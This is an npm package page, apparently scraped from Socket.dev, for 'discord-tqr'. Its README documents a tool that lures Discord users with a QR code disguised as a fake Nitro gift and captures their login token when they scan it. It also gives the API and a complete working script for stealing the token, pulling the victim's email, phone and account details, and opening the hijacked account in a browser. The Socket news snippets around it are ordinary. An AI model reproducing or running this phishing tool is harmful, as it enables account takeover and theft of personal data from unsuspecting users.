Research
Security News
Malicious npm Package Targets Solana Developers and Hijacks Funds
A malicious npm package targets Solana developers, rerouting funds in 2% of transactions to a hardcoded address.
discord-tqr
Advanced tools
Generate QR code to get user token to take control of the account, get informations ...
Generate QR code to get user token to take control of the account, get informations ...
See the changelog
$ npm i discord-tqr
import DiscordTQR from "discord-tqr";
//or
const DiscordTQR = require("discord-tqr").default;
const handler = new DiscordTQR();
path?
: string - Path where you want to save the QR code in png formattemplate?
: "default" | { path: string, x?: number, y?: number, width?: number, height?: number } - If you want to apply a template to the QR code. With "default" you can create a fake nitro gift. You can also make a custom one with path
for the template image and x, y, width, height
for the x/y position of the QR code on the template and the width/height for the size of the QR code on the template.wait?
: number - If you have trouble when getting the QR Code you can wait full page loaded by setting a wait time in ms like 5000 (by default it's 0).browserOptions?
: PuppeteerLaunchOptions - Browser options for puppeter by default it's { headless: true, defaultViewport: null }
const base64QrCode = await handler.getQRCode(options?: {
path?: string,
browserOptions?: PuppeteerLaunchOptions,
wait?: number,
template?: "default" | { path?: string, x?: number, y?: number, width?: number, height?: number },
encoding?: string
});
NOTE: This method work only if you launch "getQRCode" before. It can also be block by a recaptcha
Return the token in a string when the QR code is scanned
const token = await handler.listenForToken();
Return a json object with user informations like subscription, email, phone, avatar, name ...
token?
: string - The token of the user by default it's the token from listForToken
methodconst user = await handler.getDiscordAccountInfo(token?: string);
{
id: '...',
username: '...',
avatar: '...',
avatar_decoration: null,
discriminator: '...',
public_flags: 0,
flags: 0,
banner: null,
banner_color: null,
accent_color: null,
bio: '...',
locale: 'fr',
nsfw_allowed: true,
mfa_enabled: false,
email: '...',
verified: true,
phone: "...",
user: '...#...',
avatar_url: 'https://cdn.discordapp.com/avatars/...',
subscription: [...]
}
Open a discord account in chromium with puppeteer and with the token
token?
: string - The token of the user by default it's the token from listForToken
methodbrowserOptions?
: PuppeteerLaunchOptions - Browser options for puppeter by default it's { headless: false, defaultViewport: null, args: ["--start-fullscreen"] }
const {browser, page} = await handler.openDiscordAccount(options?: { token?: string, browserOptions?: PuppeteerLaunchOptions });
Close the browser used for generating the QR Code and by listenForToken
await handler.closeConnection();
const path = require("path");
const DiscordTQR = require("discord-tqr").default;
(async function () {
try {
const handler = new DiscordTQR();
console.log("Creating qr code...");
await handler.getQRCode({
path: path.resolve(__dirname, "./qr-with-template.png"),
template: "default",
});
console.log("QR code created to ./qr-with-template.png !");
console.log("Waiting for token...");
await handler.listenForToken();
console.log("Token: ", handler.token);
console.log("Getting user informations...");
await handler.getDiscordAccountInfo();
console.log("User information:", handler.user);
console.log("Opening user account...");
const { browser, page } = await handler.openDiscordAccount();
setTimeout(async () => {
console.log("Closing opened browser...");
await browser.close();
}, 60000);
console.log("Closing connection...");
await handler.closeConnection();
} catch (e) {
console.log(e);
}
})();
v1.0.4
FAQs
Generate QR code to get user token to take control of the account, get informations ...
The npm package discord-tqr receives a total of 3 weekly downloads. As such, discord-tqr popularity was classified as not popular.
We found that discord-tqr demonstrated a not healthy version release cadence and project activity because the last version was released a year ago. It has 1 open source maintainer collaborating on the project.
Did you know?
Socket for GitHub automatically highlights issues in each pull request and monitors the health of all your open source dependencies. Discover the contents of your packages and block harmful activity before you install or update your dependencies.
Research
Security News
A malicious npm package targets Solana developers, rerouting funds in 2% of transactions to a hardcoded address.
Security News
Research
Socket researchers have discovered malicious npm packages targeting crypto developers, stealing credentials and wallet data using spyware delivered through typosquats of popular cryptographic libraries.
Security News
Socket's package search now displays weekly downloads for npm packages, helping developers quickly assess popularity and make more informed decisions.